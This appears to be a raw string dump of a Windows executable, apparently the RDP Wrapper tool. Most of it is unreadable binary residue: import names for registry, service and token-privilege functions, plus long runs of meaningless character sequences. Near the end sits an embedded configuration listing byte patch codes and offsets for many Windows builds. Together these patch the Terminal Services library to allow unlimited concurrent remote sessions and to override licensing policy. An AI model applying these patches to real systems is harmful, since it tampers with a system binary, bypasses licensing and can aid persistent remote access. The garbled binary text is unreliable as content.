0123456789ABCDEF
																										
																							
							
oleaut32.dll
SysFreeString
SysReAllocStringLen
SysAllocStringLen
advapi32.dll
RegQueryValueExW
RegOpenKeyExW
RegCloseKey
user32.dll
LoadStringW
MessageBoxA
CharNextW
kernel32.dll
lstrcmpiA
LoadLibraryA
LocalFree
LocalAlloc
GetACP
VirtualFree
VirtualAlloc
GetSystemInfo
GetTickCount
QueryPerformanceCounter
GetVersion
GetCurrentThreadId
VirtualQuery
WideCharToMultiByte
MultiByteToWideChar
lstrlenW
lstrcpynW
LoadLibraryExW
IsValidLocale
GetSystemDefaultUILanguage
GetStartupInfoA
GetProcAddress
GetModuleHandleW
GetModuleFileNameW
GetUserDefaultUILanguage
GetLocaleInfoW
GetLastError
GetCommandLineW
FreeLibrary
FindFirstFileW
FindClose
ExitProcess
CompareStringW
WriteFile
UnhandledExceptionFilter
SetFilePointer
SetEndOfFile
RtlUnwind
ReadFile
RaiseException
GetStdHandle
GetFileSize
GetFileType
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
InitializeCriticalSection
CreateFileW
CloseHandle
kernel32.dll
TlsSetValue
TlsGetValue
LocalAlloc
GetModuleHandleW
user32.dll
MessageBoxW
LoadStringW
GetSystemMetrics
CharUpperBuffW
CharNextW
kernel32.dll
WriteFile
WideCharToMultiByte
WaitForSingleObject
VirtualQueryEx
VirtualQuery
VirtualFree
TerminateProcess
SizeofResource
SignalObjectAndWait
SetFilePointer
SetEvent
SetEndOfFile
ResetEvent
RemoveDirectoryW
ReadFile
OpenProcess
MultiByteToWideChar
LockResource
LoadResource
LoadLibraryExW
LeaveCriticalSection
InitializeCriticalSection
GetVersionExW
GetThreadLocale
GetNativeSystemInfo
GetStdHandle
GetProcAddress
GetModuleHandleW
GetModuleFileNameW
GetLocaleInfoW
GetLocalTime
GetLastError
GetFullPathNameW
GetFileAttributesW
GetDiskFreeSpaceW
GetDateFormatW
GetCurrentThreadId
GetCurrentProcess
GetCPInfo
FreeResource
InterlockedExchange
InterlockedCompareExchange
FreeLibrary
FormatMessageW
FindResourceW
FindFirstFileW
FindClose
ExpandEnvironmentStringsW
EnumCalendarInfoW
EnterCriticalSection
DeleteFileW
DeleteCriticalSection
CreateProcessW
CreateFileW
CreateEventW
CreateDirectoryW
CompareStringW
CloseHandle
advapi32.dll
RegUnLoadKeyW
RegSetValueExW
RegSaveKeyW
RegRestoreKeyW
RegReplaceKeyW
RegQueryValueExW
RegQueryInfoKeyW
RegOpenKeyExW
RegLoadKeyW
RegFlushKey
RegEnumValueW
RegEnumKeyExW
RegDeleteValueW
RegDeleteKeyW
RegCreateKeyExW
RegConnectRegistryW
RegCloseKey
OpenProcessToken
LookupPrivilegeValueW
AdjustTokenPrivileges
kernel32.dll
oleaut32.dll
SafeArrayPtrOfIndex
SafeArrayGetUBound
SafeArrayGetLBound
SafeArrayCreate
VariantChangeType
VariantCopy
VariantClear
VariantInit
advapi32.dll
StartServiceW
QueryServiceConfigW
OpenServiceW
OpenSCManagerW
CloseServiceHandle
ChangeServiceConfigW
wininet.dll
InternetReadFile
InternetOpenUrlW
InternetOpenW
InternetCloseHandle
advapi32.dll
EnumServicesStatusExW
000L0d0
141T1d1x1
2 242H2X2d2l2
3%373J3d3y3
4$4,484<4@4D4H4L4P4T4X4\4`4h4p4x4
5 5(50585@5H5P5X5j5
6!61696J6Z6p6~6
777J7`7s7
8!8/8B8J8X8i8|8
9'9?9X9g9}9
:4:<:J:`:w:
;/;Q;c;|;
;H<L<P<h<t<x<
=9=J=j={=
>(>I>a>x>
?)?9?P?k?|?
000C0X0j0~0
1&181L1
2'2<2Q2f2
2	3 343L3_3h3
4&4.464>4F4N4V4^4f4n4v4~4
5&5.565>5F5N5V5^5f5
9&919A9v9
>>>H>`>f>~>
>:?W?c?v?
3+353N3
9&9.979E9R9
?+?O?U?s?
p0t0z0~0
1F1N1[1a1o1~1
2%2n2y2
8:8V8b8v8
8+949i9p9
>4?J?a?
2%2*202D2J2X2_2i2
3	3-3:3
819H9Q9q9
<7<B<N<W<f<u<
0!0?0Y0
6)686H6O6
7)727>7E7
<>=I=V=^=f=n=
?#?2?T?c?
;0J0v0
0?1T1j1
2.2X2f2k2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,646D6L6j6{6
767Q7m7
8 888Q8h8
9&9.969>9F9N9V9^9f9n9v9~9
:&:.:6:>:F:N:V:^:f:n:v:~:
;";*;2;:;B;J;R;Z;b;j;r;z;
<$<-<6<F<N<V<d<l<t<|<
=$=,=4=<=D=L=T=\=d=l=t=|=
>L>Y>o>
?$?/?8?
1&1A1]1
2 2$2(262G2[2s2
3!3)31393A3I3]3r3
4*4=4V4d4q4
505I5`5w5
6#616S6`6o6s6
7)7K7O7p7
8.8I8X8l8p8
9$94989D9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:E:l:{:
; ;$;<;L;\;d;h;l;p;t;x;|;
< <$<(<,<<<L<P<h<x<
= =(=,=0=4=8=<=@=D=H=L=P=T=X=\=p=
>4>D>T>\>`>d>h>l>p>t>x>|>
? ?$?(?8?I?M?d?t?
0 0$0(0,0004080<0@0D0H0L0P0T0d0t0x0
101@1P1X1\1`1d1h1l1p1t1x1|1
2 2$2(2<2O2S2h2x2
3,34383<3@3D3H3L3P3T3X3\3`3d3h3x3
4(4,4D4T4d4l4p4t4x4|4
5 5$5(5,50545H5[5_5t5
6(686@6D6H6L6P6T6X6\6`6d6h6l6p6t6
7(7<7@7X7h7l7x7
8(8084888<8@8D8H8L8P8T8X8\8`8d8|8
9*9.9D9T9d9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:l:
; ;>;N;b;t;
<"<@<V<g<z<
=!=x=|=
>*>A>Y>q>
>)?>?O?e?v?
0B0F0Z0b0
1,1@1D1\1l1p1t1|1
2%2-252=2E2M2U2]2e2m2u2}2
3"313?3M3c3s3
4,4D4L4\4r4
5!5)575E5X5`5n5y5
6+6>6M6c6r6z6
7/777E7W7j7r7
8.8A8T8b8q8y8
9&9.9<9R9h9p9~9
:%:3:B:U:h:t:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;m;
<!<6<D<Y<n<|<
=!=/=E=W=_=m=|=
> >$>,>4><>T>i>z>
?(?8?@?H?P?T?X?\?`?d?h?l?p?t?x?|?
0 0.0D0Z0b0p0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1d1l1t1|1
2+2A2S2[2i2x2
3$3H3Z3b3p3|3
3 3-323<3L3W3d3i3
4*464M4Y4
51696x6
6J6a6e6i6m6q6
2G263n3
8F9[9p9`:t:
:<;\;m;
;5<d<x<
383J3^3d3
4.5F5S5X5j5
=.=3=?=b=
>?>I>o>
>+?:?T?f?
1&1B1e1
3E3V3_3
3$494F4`4}4
5#5,5^5g5
="=\>t>
?9?d?s?
3?3j3q3{3
4%4.4:4?4H4Q4Z4c4l4z4
425V5l5
0)1.1;1D1
282N2d2m2
3+393M3o3
4/474W4d4
7<7P7X7y7
8$8=8J8_8Q9
;B;R;];c;k;p;x=
1@1I1W1
2%2-272?2I2Q2[2c2t2~2
3R4Y4z4
7>7E7p7w7
9#9D9K9
=T=[=~=
?"?*?2?:?B?
2*3D3\3d3q3|3
4$4(40444<4@4H4L4T4X4`4d4l4p4x4|4
5$5(50545<5@5H5L5T5X5`5d5l5p5x5|5
6 6$6,60686<6D6H6P6T6\6`6h6l6t6x6
7)737=7G7Q7[7e7o7y7
8!8,868A8K8Q8[8m8~8
809=9f9
<5=C=H=S=Y=^=i=o=t=
>$>/>5>:>E>K>P>[>a>f>q>w>|>
J0P0p0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
2!262G2\2j2
3"373E3S3c3x3
4.4C4Z4h4v4
5%5:5P5^5l5{5
6 6(6,6064686<6@6D6H6L6P6T6X6\6x6
7(7C7G7\7l7|7
8(8084888<8@8D8H8L8P8T8X8\8`8d8
909M9Q9h9x9
:$:4:<:@:D:H:L:P:T:X:\:`:d:h:l:p:
; ;$;D;b;f;|;
<(<8<H<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=T=q=u=
>#>8>H>X>`>d>h>l>p>t>x>|>
0=0K0Z0q0
1-1;1J1a1
2$2E2T2k2z2
3&353F3x3
<)<P<u<
=U>Y>]>a>e>i>m>q>u>y>}>
2/23272;2?2C2G2K2O2S2W2[2_2c2g2k2o2s2w2{2
7.858K8O8S8W8[8_8c8p8
8&9-9D9H9L9P9T9X9b9
:%:):-:1:5:9:=:J:
<H=g=k=o=s=w={=
4F4_4w4
5"5&5*5.52565:5>5B5F5J5N5]5
7!7%7)7-7175797=7A7k7
9`:d:h:l:p:t:x:|:
=r>v>z>~>
7t8x8|8
=;=V=n=
0"040L0
6!7:7Q7
8%8a8}8
88;<;@;D;H;L;P;T;X;\;`;d;h;
0*0p2t2x2|2
;0;I;f;
<+<7<R<n<w<
>L>^>n>
737H7]7
70:E:R:^:c:p:
;H<]<j<
="=2=D=R=c=j=
>&>+>E>
0'0=0U0Z0
1-1k1w1
3 303D3S3\3x3
4`4d4h4l4p4t4
6!6%6)6-616
:,:Q:c:p:
;$;,;4;8;<;@;D;H;L;P;T;X;\;`;d;h;p;
<(<0<4<8<<<@<D<H<L<P<T<X<\<`<d<x<
=!=%=<=L=\=d=h=l=p=t=x=|=
> >$>(>,>0>@>P>T>h>x>
? ?(?,?0?4?8?<?@?D?H?L?P?T?X?\?p?
0#080H0X0`0d0h0l0p0t0x0|0
1 1$1(1,101@1P1T1h1x1
2,24282<2@2D2H2L2P2T2X2\2`2d2h2|2
3&343R3X3e3t3
4 4$4(40484<4@4D4H4L4P4T4X4\4`4d4q4
5 5/575H5]5a5t5|5
6 6$6(6,6064686<6@6D6H6U6f6x6
7 7(70787@7P7f7w7
8$818B8d8q8
9%979?9M9[9q9}9
: :.:D:Y:g:v:
;';8;@;N;\;r;
<'<6<I<\<g<k<~<
= =$=(=,=0=4=8=<=@=D=H=L=Y=j={=
>0>B>P>a>u>
?-?F?X?i?m?
0 0(060:0L0b0s0
1"1(181<1@1D1H1P1T1X1\1`1d1h1l1p1t1x1|1
2-2D2Z2k2}2
3+3/3K3t3
4!4)414Q4f4t4
585D5H5L5P5T5X5`5d5h5l5p5t5x5|5
6&6>6F6N6V6^6f6n6v6~6
7.7:7B7S7]7e7v7
818I8Z8k8s8
9(999=9P9W9^9f9j9n9
;";*;G;\;j;
<8<D<H<L<P<X<`<d<h<l<p<t<x<|<
=*=2=C=W=m=
>#>+>3>;>C>K>S>[>c>k>s>{>
?'?/?=?K?[?c?q?|?
020L0]0q0
1.1<1L1_1s1{1
222:2H2\2q2
313L3Z3l3
4"404B4W4p4~4
585F5V5k5
666:6>6Z6z6~6
7;7?7C7e7
8-848Q8\8
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
:5:J:a:{:
;4;B;Z;p;
<.<<<N<e<s<
=)=8=F=a=o=~=
>$>+>2>9>@>G>O>t>|>
?,?<?D?L?T?X?\?`?d?h?l?p?t?x?|?
0.090A0_0q0}0
1*1=1V1t1
2+232A2V2m2u2
3,3J3X3j3
4'4=4_4m4
585H5L5P5X5`5d5h5l5p5t5x5|5
626=6E6c6u6
7&7.7P7\7`7d7h7p7x7|7
828@8S8d8y8
949D9H9L9T9\9`9d9h9l9p9t9x9|9
:#:.:6:T:f:q:y:
; ;9;=;P;X;|;
<%<-<5<=<U<k<|<
=3=A=U=a=i=
> >$>(>,>0>4>A>U>k>s>{>
? ?2?A?U?k?|?
0-0<0L0P0T0\0d0h0l0p0t0x0|0
161L1]1l1t1
2,3>3D3h3z3
4 4$4(40484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4
5<5D5L5T5\5m5
6&696M6p6~6
7!7(707O7t7
7P8T8X8\8n8|8
9.9<9u9y9
9 :$:(:,:>:L:a:w:
:";&;*;<;J;Y;h;
<4=8=<=@=R=`=r=
>(>4>8><>@>H>P>T>X>\>`>d>h>l>p>t>x>|>
?+?L?b?~?
0)0<0\0d0l0t0|0
1$1,141<1D1L1T1\1d1l1t1|1
2:2H2V2h2{2
303L3]3{3
4 424:4K4Z4b4s4
5!5>5L5\5m5~5
6'666>6O6_6g6u6
7/7H7V7e7{7
8*828@8N8c8k8y8
979H9U9Y9l9s9z9
:%:G:n:
;$<(<,<0<4<F<T<e<q<
=0=<=@=D=H=P=X=\=`=d=h=l=p=t=x=|=
>/>J>g>
? ?(?0?8?@?H?P?X?`?r?
0.0<0J0\0o0
1*1H1V1h1
2;2I2W2m2
363D3V3n3|3
4+4=4Z4k4
5*5<5W5e5w5
6(65696L6S6Z6a6h6p6t6x6
7<7L7P7T7\7d7h7l7p7t7x7|7
818B8J8[8j8r8
98:N:T:
; ;$;(;,;0;4;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
<5<P<i<
=$=,=4=<=D=l=p=t=x=|=
>2>C>c>t>
?6?D?[?
0 010C0K0Y0g0w0
141B1]1u1}1
2 2.2G2O2]2h2|2
3'3+3K3O3t3x3|3
444\4l4p4t4|4
5 5;5P5^5r5
6%6,646U6x6
7%7A7V7l7
8-8C8T8h8p8~8
9 919O9]9o9
;*;@;H;P;X;`;h;p;x;
</<?<O<b<y<
=$=2=E=a=o=
>+>9>L>r>
? ?$?(?,?0?4?8?E?X?i?
0/0E0V0m0{0
1 1(161I1a1o1
2'272I2Z2b2p2
3"3H3V3h3x3|3
:*;V;e;|;/=
>&>7>B>U>
1#1(1v1
1/242_2n2
5(6K6e6w6
<D<[<_<
3B4_4o4
9m:9<@<o<
???O?o?
4"4c4j4
=2=G=[=c=k=
>">3>R>`>t>
?4?B?X?l?p?
1R2_2j2y2
4-494H4
4:5?5l5}5
6(656+7;7
8.939i9
9*:`:}:
=#><>Y>e>
394`4y4
6D7d7k7}7
8 8.8G8
95:a:h:
?=?\?`?d?h?l?p?t?x?|?
?9?=?A?E?I?M?Q?U?Y?]?a?e?i?m?q?u?y?}?
1V2]2t2'3
5/767M7
?/?_?~?
0?1[1v1
<-=S=v=
5^5e5|5
6)606_6c6g6k6o6s6w6{6
858E8R8i8y8
8.9[9b9~9
3%353B3H3X3
5 50585<5@5D5H5L5P5T5X5\5`5d5
:":7:';@;l;
<R=<?K?{?
&050m0
0<1H1S1]1u1}1
3"3g3s3z3
4$4<4@4X4v4
6.6B6X6p6
7%7-757=7E7M7U7]7e7m7u7}7
818F8W8l8z8
9#9+999I9[9c9q9
:0:B:J:X:n:
;!;=;K;_;p;x;
<)<:<K<^<l<t<
=0=8=F=d=x=
>.>6>D>U>g>o>}>
?%?3?G?a?o?
0)0>0L0T0b0o0
1+1=1[1i1
2'2C2Q2_2q2
3)373I3i3w3
4&4-444<4a4
5>5s5z5
1.2L2o2
4'424D4V4^4f4n4v4|4
565N5d5{5
6(606=6g6v6
6+7;7L7
858:8I8g8
9+909?9]9l9
:(:6:C:@>R>W>i>
>	?4?9?
2+2n2s2
:):.:M:[:`:~:
;:;F;Q;^;i;
<5<S<+?T?j?
90O0d0
162;2J223
6"6@6L6Q6_6i6s6{6
:+:I:T:Y:u:z:o<
=;=@=R=~=
2$2I2d2x2}2
363J3O3w3
4$404>4M4\4i4u4
5/5L5J9X9p9
: :/:H:M:l:
>-?5?:?N?S?g?l?
0/040H0M0s0
9,919h9
:1:6:E:c:p:
;*;H;M;\;z;
<:<E<J<\<x<}<
5'5,5|5
666;6g6
7]8k8p8
9,919S9X9}9
:,:Q:V:
?L?P?T?X?\?`?d?h?t?x?|?
0 0$0(0,0004080<0@0D0H0L0P0T0\0`0d0h0l0t0x0|0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|2
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
6 6$6(6,6064686<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
7 7$7(7,7074787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<=@=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
2 2$2(2,202<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|2
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
6 6$6(6,6064686<6@6D6H6L6T6X6d6h6l6p6t6x6|6
7 7$7(7,7074787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<=@=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
>$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<1@1D1H1L1P1
0%0)0/03090D0J0N0Z0c0l0x0
1(1<1U1z1
2$262C2O2W2c2v2
486>6L6a6
7&7.767P7X7c7k7x7
8'8G8g8y8
9&9<9R9{9
9':8:B:b:x:
;';,;7;P;t;
<$<8<S<i<
=%=9=T=h=r=
>->I>X>|>
?'?;?I?]?x?
P0T0X0\0`0d0h0l0p0t0
141T1t1X7\7`7d7h7l7
8 8(80888@8H8P8X8`8h8p8x8
9 9(90989@9H9P9X9`9h9p9x9
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
? ?$?(?,?0?4?8?T?X?\?
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2
; RDP Wrapper Library configuration
; Do not modify without special knowledge
[Main]
Updated=2017-12-27
LogFile=\rdpwrap.txt
SLPolicyHookNT60=1
SLPolicyHookNT61=1
[SLPolicy]
TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1
TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1
TerminalServices-RemoteConnectionManager-AllowAppServerMode=1
TerminalServices-RemoteConnectionManager-AllowMultimon=1
TerminalServices-RemoteConnectionManager-MaxUserSessions=0
TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0
TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2
TerminalServices-RDP-7-Advanced-Compression-Allowed=1
TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0
TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000
TerminalServices-DeviceRedirection-Licenses-TSEasyPrintAllowed=1
TerminalServices-DeviceRedirection-Licenses-PnpRedirectionAllowed=1
TerminalServices-DeviceRedirection-Licenses-TSMFPluginAllowed=1
TerminalServices-RemoteConnectionManager-UiEffects-DWMRemotingAllowed=1
[PatchCodes]
nop=90
Zero=00
jmpshort=EB
nopjmp=90E9
CDefPolicy_Query_edx_ecx=BA000100008991200300005E90
CDefPolicy_Query_eax_rcx_jmp=B80001000089813806000090EB
CDefPolicy_Query_eax_esi=B80001000089862003000090
CDefPolicy_Query_eax_rdi=B80001000089873806000090
CDefPolicy_Query_eax_ecx=B80001000089812003000090
CDefPolicy_Query_eax_ecx_jmp=B800010000898120030000EB0E
CDefPolicy_Query_eax_rcx=B80001000089813806000090
[6.0.6000.16386]
SingleUserPatch.x86=1
SingleUserOffset.x86=160BF
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=65E3E
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=15CD8
DefPolicyCode.x86=CDefPolicy_Query_edx_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=5C88F
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp
[6.0.6001.18000]
SingleUserPatch.x86=1
SingleUserOffset.x86=185E4
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=70DBA
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=17FD8
DefPolicyCode.x86=CDefPolicy_Query_edx_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=65BD7
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp
[6.0.6002.18005]
SingleUserPatch.x86=1
SingleUserOffset.x86=17FA8
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=70FF6
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=179C0
DefPolicyCode.x86=CDefPolicy_Query_edx_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=65E83
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp
[6.0.6002.19214]
SingleUserPatch.x86=1
SingleUserOffset.x86=17FC4
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=712AA
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=179B8
DefPolicyCode.x86=CDefPolicy_Query_edx_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=65FF7
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp
[6.0.6002.23521]
SingleUserPatch.x86=1
SingleUserOffset.x86=17FB4
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=71EAA
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=179CC
DefPolicyCode.x86=CDefPolicy_Query_edx_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=669CB
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp
[6.1.7600.16385]
SingleUserPatch.x86=1
SingleUserOffset.x86=19E25
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=17D96
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=196F3
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=17AD2
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
[6.1.7601.17514]
SingleUserPatch.x86=1
SingleUserOffset.x86=1A49D
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=180E2
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=19D53
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=17D8A
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
[6.1.7601.18540]
SingleUserPatch.x86=1
SingleUserOffset.x86=1A4E5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=18006
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=19D9F
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=17C82
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
[6.1.7601.22750]
SingleUserPatch.x86=1
SingleUserOffset.x86=1A655
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=17E8E
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=19E21
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=17C92
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
[6.1.7601.18637]
SingleUserPatch.x86=1
SingleUserOffset.x86=1A4DD
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=180FA
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=19DBB
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=17DC6
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
[6.1.7601.22843]
SingleUserPatch.x86=1
SingleUserOffset.x86=1A655
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=17F96
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=19E25
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=17D6E
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
[6.1.7601.23403]
SingleUserPatch.x86=1
SingleUserOffset.x86=1A65D
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=17F62
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=19E29
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=17CE2
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
[6.2.8102.0]
SingleUserPatch.x86=1
SingleUserOffset.x86=F7E9
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=D840
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=E47C
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=D3E6
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
SLPolicyInternal.x86=1
SLPolicyOffset.x86=1B909
SLPolicyFunc.x86=New_Win8SL
SLPolicyInternal.x64=1
SLPolicyOffset.x64=1A484
SLPolicyFunc.x64=New_Win8SL
[6.2.8250.0]
SingleUserPatch.x86=1
SingleUserOffset.x86=159C9
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=11E74
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=13520
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1187A
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
SLPolicyInternal.x86=1
SLPolicyOffset.x86=1A0A9
SLPolicyFunc.x86=New_Win8SL_CP
SLPolicyInternal.x64=1
SLPolicyOffset.x64=18FAC
SLPolicyFunc.x64=New_Win8SL
[6.2.8400.0]
SingleUserPatch.x86=1
SingleUserOffset.x86=15482
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=20824
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=13E48
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1F102
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
SLPolicyInternal.x86=1
SLPolicyOffset.x86=19629
SLPolicyFunc.x86=New_Win8SL
SLPolicyInternal.x64=1
SLPolicyOffset.x64=2492C
SLPolicyFunc.x64=New_Win8SL
[6.2.9200.16384]
SingleUserPatch.x86=1
SingleUserOffset.x86=15552
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=2BAA8
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=13F08
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=2A31A
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
SLPolicyInternal.x86=1
SLPolicyOffset.x86=19559
SLPolicyFunc.x86=New_Win8SL
SLPolicyInternal.x64=1
SLPolicyOffset.x64=21FA8
SLPolicyFunc.x64=New_Win8SL
[6.2.9200.17048]
SingleUserPatch.x86=1
SingleUserOffset.x86=20592
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=20948
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
